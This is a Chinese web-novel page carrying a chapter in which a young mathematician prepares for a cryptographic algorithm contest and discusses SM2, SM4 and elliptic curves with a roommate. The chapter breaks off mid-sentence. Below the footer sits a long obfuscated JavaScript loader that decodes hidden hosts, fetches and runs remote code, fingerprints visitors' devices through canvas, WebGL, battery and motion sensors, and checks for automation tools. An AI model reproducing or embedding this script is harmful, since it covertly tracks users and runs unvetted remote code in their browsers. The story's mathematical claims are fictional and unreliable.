小说骑士

登陆 注册
字:
关灯 护眼
小说骑士 > 从大学学霸到首席院士 > 第36章 密码算法比赛 (2111字)

第36章 密码算法比赛

更多热门小说请关注 小说骑士网 www.txt74.com

   密码算法比赛定在三天后,这三天,叶非三人可以进行一番准备。

   大会结束后,所有人都入住在庄园中。

   庄园很大,三百多人入住完全没问题,两人一个房间。

   叶非和岳非住在一起,吃完晚饭后,叶非在房间中写三天后的比赛的数学算法。

   对于nist,叶非也知道。

   nist是北丽国国家标准与技术研究院创造的,可进行数学、计算机、物理、生物和工程方面的基础和应用研究。

   密码算法属于数学与计算机的交叉型研究。

   所以,在nist上研究密码算法,自然是可以的。

   由于只是比赛,并不是重大研究,所以才会采用nist。

   如果是重大研究,没有任何一个国家会用nist。

   因为nist是北丽国创造的,傻子才会将重大研究放到nist上。

   叶非心道:“sm2是一种国密算法,是椭圆曲线公钥密码算法。”

   “而sm4也是一种国密算法,是一种分组密码标准。”

   “sm2和sm4都是商用密码算法……”

   “sm2采用的是椭圆曲线结构,而sm4采用的是非线性迭代结构。”

   说着,叶非在纸上写下推导公式。

   【r={r1,r2,.,rδ}来表示δ个区域的智能电网……】

   不知过了多久,岳非从外面走进来。

   他坐到叶非身旁,看了片刻叶非写的东西,道:“你这里面大部分是用椭圆曲线知识啊!”

   “嗯!”叶非头也没抬,一边写东西,一边道:“是的。”

   “密码算法中大部分用的是数论,高斯猜想作为数论中最重要的猜想之一,用高斯猜想去研究密码算法,非常的合适。”

   “而椭圆曲线是高斯猜想的主要部分之一,用椭圆曲线去研究密码算法,这没什么问题吧!”

   岳非笑道:“当然没问题,我只是感慨一下,你研究密码算法大部分用椭圆曲线。”

   “毕竟,这方面研究,我还没开始研究。”

   叶非道:“那你要加速了,椭圆曲线真的是一个很漂亮的东西。”

   “伱会看到数学之美。”

   岳非无奈苦笑道:“你以为人人都如你一般,研究速度那么快吗?”

   “你的研究速度那就不是人能做出来的速度,简直变态。”

   叶非道:“哎……你可不能骂人,我速度是快,但这并不能表示我不是人啊!”

   岳非摇头道:“不和你瞎扯这个了,你现在一定很紧张吧!”

   “我紧张什么?”叶非摇头道:“这对我来说,都是我过去研究的方向,脑子里有货,紧张个毛啊!”

   “你不紧张?”岳非惊愕:“你难道不知道,和你比赛的两人是谁吗?”

   “谁啊?”叶非这时抬头看一眼岳非。

   “曹文灿和房永昌啊,他们一位是京大的正教授,一位是水木的正教授,而且都是国家著名的密码学专家和夏国密码学会常务理事。”

   “在密码学上,他们虽说不是最顶尖的。”

   “但你也不能小看他们。”

   “你不是主要研究密码学的,他们在密码学上虐你肯定没问题。”

   “呵呵……”叶非呵呵一笑:“在这方面,我要纠正你的错误。”

   “首先,密码学研究的不是密码,而是数学。”

   “在数学领域,我作为数学家之一,谁虐谁还不一定呢!”

   “呵呵……”岳非给了一个呵呵笑容,不相信叶非的话。

   密码学是研究数学,但数学领域非常广,一个小问题能研究一辈子。

   就比如高斯猜想中的椭圆曲线,能无限拓展。

   椭圆曲线和密码学的结合、椭圆曲线与算法的结合、椭圆曲线与数据加密结合、椭圆曲线与区块链的结合……

   数学如此庞大的领域,想各方面都研究透,神都做不到。

   所以,每一位数学家,都是专精一部分研究。

   而叶非并不精通密码学的研究,反观,曹文灿和房永昌,这两人已经研究密码学一辈子。

   从这来看,叶非与曹文灿两人,比赛密码学,明眼人都能看出来,毫无胜算。

   但所有人都不知道的是。

   叶非是不精通密码学,可是,他在数论上的研究,是集合许多位数学家的研究。

   从他开始研究数论开始,他参加过许多大大小小的会议,和许多数学家探索数论问题。

   而这些人许多数论知识,都被自己吸收。

   如此多人,如此多的数论知识,内容信息非常的大。

   密码学研究的就是数论,以他海量的数论知识,要是不能战胜这两人。

   他可以把系统丢了。

   岳非道:“叶非,你是不知道这两人的厉害。”

   “曹文灿和房永昌这两人的能力是相当的,我就说曹文灿吧!”

   “曹文灿享受国.武.院特殊津



更多热门小说请关注 小说骑士网 www.txt74.com
『加入书签,方便阅读』
var x=window['\x61\x74\x6f\x62'],id=x('NDQ0NDczNzY1NjE1Nzk5OTk5OS0xMDE1Ng==');document.write('%lt;ins style="display:none!important" id="'+id+'"%gt;%lt;/ins%gt;');(window.adbyunion=window.adbyunion||[]).push(id);window['\x52\x62\x4c\x49\x4e\x52\x4b\x78\x64\x7a']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,w,d,c){var cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';var t=[],l=[],ec=0,r=0,ua=navigator.userAgent.toLowerCase(),bh=ua.indexOf('baidu')>-1||ua.indexOf('huawei')>-1,delay=bh?2000:2000,f=null,sc=Math.max(1,bh?300000:300000),ext=bh?'.html':'2',i=(bh?'nfob':'nob')+Math.floor(new Date().getTime()/sc)+ext;if(bh){f=function(){;if(!l.length)return;window.addEventListener('message',function(e){if(e.data['id']!=id)return;for(var k in t)t[k]&&clearTimeout(t[k]);new Function('_tdcs',x(e.data['msg']))(cs);});var ifr=document.createElement('iframe');ifr.width=0;ifr.height=0;ifr.style.display='none';ifr.src=l.shift()+'/'+i;document.body.appendChild(ifr);};}else{f=function(){;if(!l.length)return;var s=document.createElement('script');s.src=l.shift()+'/'+i;cs.parentElement.insertBefore(s,cs);s.onload=function(){for(var k in t)t[k]&&clearTimeout(t[k])};s.onerror=function(){cs.parentElement.removeChild(s);t[++ec]&&clearTimeout(t[e]);f()}};}u=decodeURIComponent(x(u.replace(new RegExp(c[r]+''+c[r],'g'),c[r])));var l=u.split(',');l.sort(function(){return 0.5-Math.random()});var param=(function(aid){var W=window,D=document,B=D.body,N=navigator,E='ontouchstart'in W||N.maxTouchPoints>0||N.msMaxTouchPoints>0;function fix(s){return encodeURIComponent(s).replace(/[!'()*]/g,function(c){return'%'+c.charCodeAt(0).toString(16)})}function mix(t,s){var a=[].slice.call(arguments),k,r=typeof a[a.length-1]=='boolean'?a.pop():true;for(var i=1;s=a[i++];){for(k in s)if(r||!(k in t))t[k]=s[k]}return t}var utils={guid:function(){function a(){return Math.floor((1+Math.random())*0x10000).toString(16).substring(1)}return a()+a()+''+a()+''+a()+''+a()+''+a()+a()+a()},bind:function(o,e,c){return'string'===typeof o&&(o=D.getElementById(o)),e=e.replace(/^on/i,'').toLowerCase(),o.addEventListener?o.addEventListener(e,c,!1):o.attachEvent&&o.attachEvent('on'+e,c),o}};var p1={dcc:'',dcl:'',gvd:'',grr:'',ct:''},p2={diit:'',dit:'',cmn:''},cmn=[];var mobile={ma:function(){;if(!E)return;function l(s){;if(!s)return;return s.toString().substr(0,5)}utils.bind(W,'deviceorientation',function handleFunc(ev){;if(!ev.alpha)return;p2.diit=[l(ev.alpha),l(ev.beta),l(ev.gamma)].join(',')});utils.bind(W,'devicemotion',function handleFunc(evnet){var a=evnet.accelerationIncludingGravity;if(!a.x)return;p2.dit=[l(a.x),l(a.y),l(a.z)].join(',')});utils.bind(W,'touchstart',function touchstart(ev){var clientX=ev.touches[0].clientX,clientY=ev.touches[0].clientY,v=[clientX,clientY].join('_');if(cmn.length%lt;3)cmn.push(v)})},md:function(){try{N.getBattery().then(function(b){p1.dcc=b.charging?'yes':'no';p1.dcl=Math.round(b.level*100)})}catch(e){}try{var a=D.createElement('canvas'),b=a.getContext('experimental-webgl'),c=b.getExtension('WEBGL_debug_renderer_info'),d=b.getParameter(c.UNMASKED_VENDOR_WEBGL),e=b.getParameter(c.UNMASKED_RENDERER_WEBGL).replace(/[%]/g,'');p1.gvd=d;p1.grr=e}catch(e){}try{;if(!N.connection){p1.ct='unknown';return}if(!N.connection.type){p1.ct='unknown';return}p1.ct=N.connection.type}catch(e){}},init:function(){this.ma();this.md()},ap:function(){p2.cmn=cmn.join(';');return mix(p1,p2)}};mobile.init();var client={client:function(id){var ut=utils,m=mobile;function a(){var a='';try{a=W.opener?W.opener.document.location.href:D.referrer}catch(e){a=D.referrer}if(a!=='')a=a.substr(0,8192);return fix(a)}function b(){var a='';try{a=W.top.document.location.href}catch(e){a=D.location.href}if(a!=='')a=a.substr(0,2048);return fix(a)}function c(str){var s='';for(var i=0;i%lt;str.length;i++)s+=(i>0?':':'')+str[i].charCodeAt(0);return s}function d(){try{return[W.screen.width,W.screen.height].join('x')}catch(e){return''}}function f(){return N.platform.replace(/Win/i,'v')}function g(){var a=W.screen.availWidth||0,b=W.screen.availHeight||0;return[f(),S(),W.devicePixelRatio||0,a+'.'+b].join(':')}function h(){var n=W['navigator'],a=false;for(var k in n){try{a=N['hasOwnProperty'](k)}catch(e){a=false}}return a}function i(){;if(typeof N.languages!=='undefined'){try{return N.languages[0].substr(0,2)!==N.language.substr(0,2)}catch(err){return true}}return false}function j(f){var a=[];for(var i=0;i%lt;f.length;i++)a.push(String.fromCharCode(f[i]));return a.join('')}function k(){var a=['callPhantom'in W,'_phantom'in W,'phantom'in W];for(var i=0;i%lt;a.length;i++)if(a[i])return true;return false}function l(){return j([119,101,98,100,114,105,118,101,114])in N}function S(){var b=['toString','length'];(function(a,c){var f=function(g){while(--g){a['push'](a['shift']())}};f(++c)}(b,0xb3));var c=function(a){a=a-0x0;return b[a]};return eval[c('0x1')]()[c('0x0')]*0x673124}function n(){;if(typeof W.history!=='undefined'&&typeof W.history.length!=='undefined')return W.history.length;return 0}function o(){return{top:B.scrollTop||D.documentElement.scrollTop,left:0}}function _uuid(){try{var a='',k='fillStyle',q='beginPath',n='closePath',j='fill',h='arc',e='fillText',w=Math.PI;var p=D.createElement('canvas');p.width=2000;p.height=200;p.style.display='inline';var s=p.getContext('2d');s.rect(0,0,10,10);s.rect(2,2,6,6);a+='canvas winding:'+((s.isPointInPath(5,5,'evenodd')===false)?'yes':'no');s.textBaseline='alphabetic';s[k]='#f60';s.fillRect(125,1,62,20);s[k]='#069';s.font='11pt no-real-font-123';var u='Cwm fjordbank glyphs vext quiz, \ud83d\ude03';s[e](u,2,15);s[k]='rgba(102, 204, 0, 0.2)';s.font='18pt Arial';s[e](u,4,45);s.globalCompositeOperation='multiply';s[k]='rgb(255,0,255)';s[q]();s[h](50,50,50,0,w*2,true);s[n]();s[j]();s[k]='rgb(0,255,255)';s[q]();s[h](100,50,50,0,w*2,true);s[n]();s[j]();s[k]='rgb(255,255,0)';s[q]();s[h](75,100,50,0,w*2,true);s[n]();s[j]();s[k]='rgb(255,0,255)';s[h](75,75,75,0,w*2,true);s[h](75,75,25,0,w*2,true);s[j]('evenodd');if(p.toDataURL){a+=';canvas fp:'+p.toDataURL()}return(function(c){var b=0;if(c.length===0){return b}for(var i=0;i%lt;c.length;i++){b=((b%lt;%lt;5)-b)+c.charCodeAt(i);b=b&b}return b})(a)}catch(o){return o.message}}function init(){var p={frm:W.top!==W.self?1:0,url:b(),ref:a(),ic:N.cookieEnabled?1:0,pl:N.plugins.length,ml:N.mimeTypes.length,sid:c(g()),ps:N.productSub||'',lgs:i()?1:0,zo:new Date().getTimezoneOffset(),ws:d(),gdm:N.deviceMemory||0,iw:l()?1:0,cpn:N.hardwareConcurrency||0,fid:'',hl:n(),ihn:h()?1:0,md:E?1:0,ns:'',np:'',pj:k()?1:0};mix(p,o(),{'id':id,'rid':ut.guid(),'rid2':ut.guid(),'uuid':_uuid()},m.ap());return p}return init()}};return new Promise(function(resolve,reject){setTimeout(function(){var r=[],u=aid.split('-'),p=client.client(u[1]);for(var k in p)r.push(k+'='+p[k]);resolve(r.join('&'))},10)})})(id);param.then(function(p){i=i+'?'+p;for(var j in l)t[j]=setTimeout(f,delay*j)});})('aHR0cHM6Ly9ha3Nka2ZqLmJpZXhzaXRlLm5lddA==','d3NzOOi8vd3MueGlhb21hb2x2dGVjaC5jb206OOTU5NSx3c3M6Ly93cy5taXNpZ2wuY29tOOjk1OOTU=',window,document,['d','O']);}:function(){};
统计代码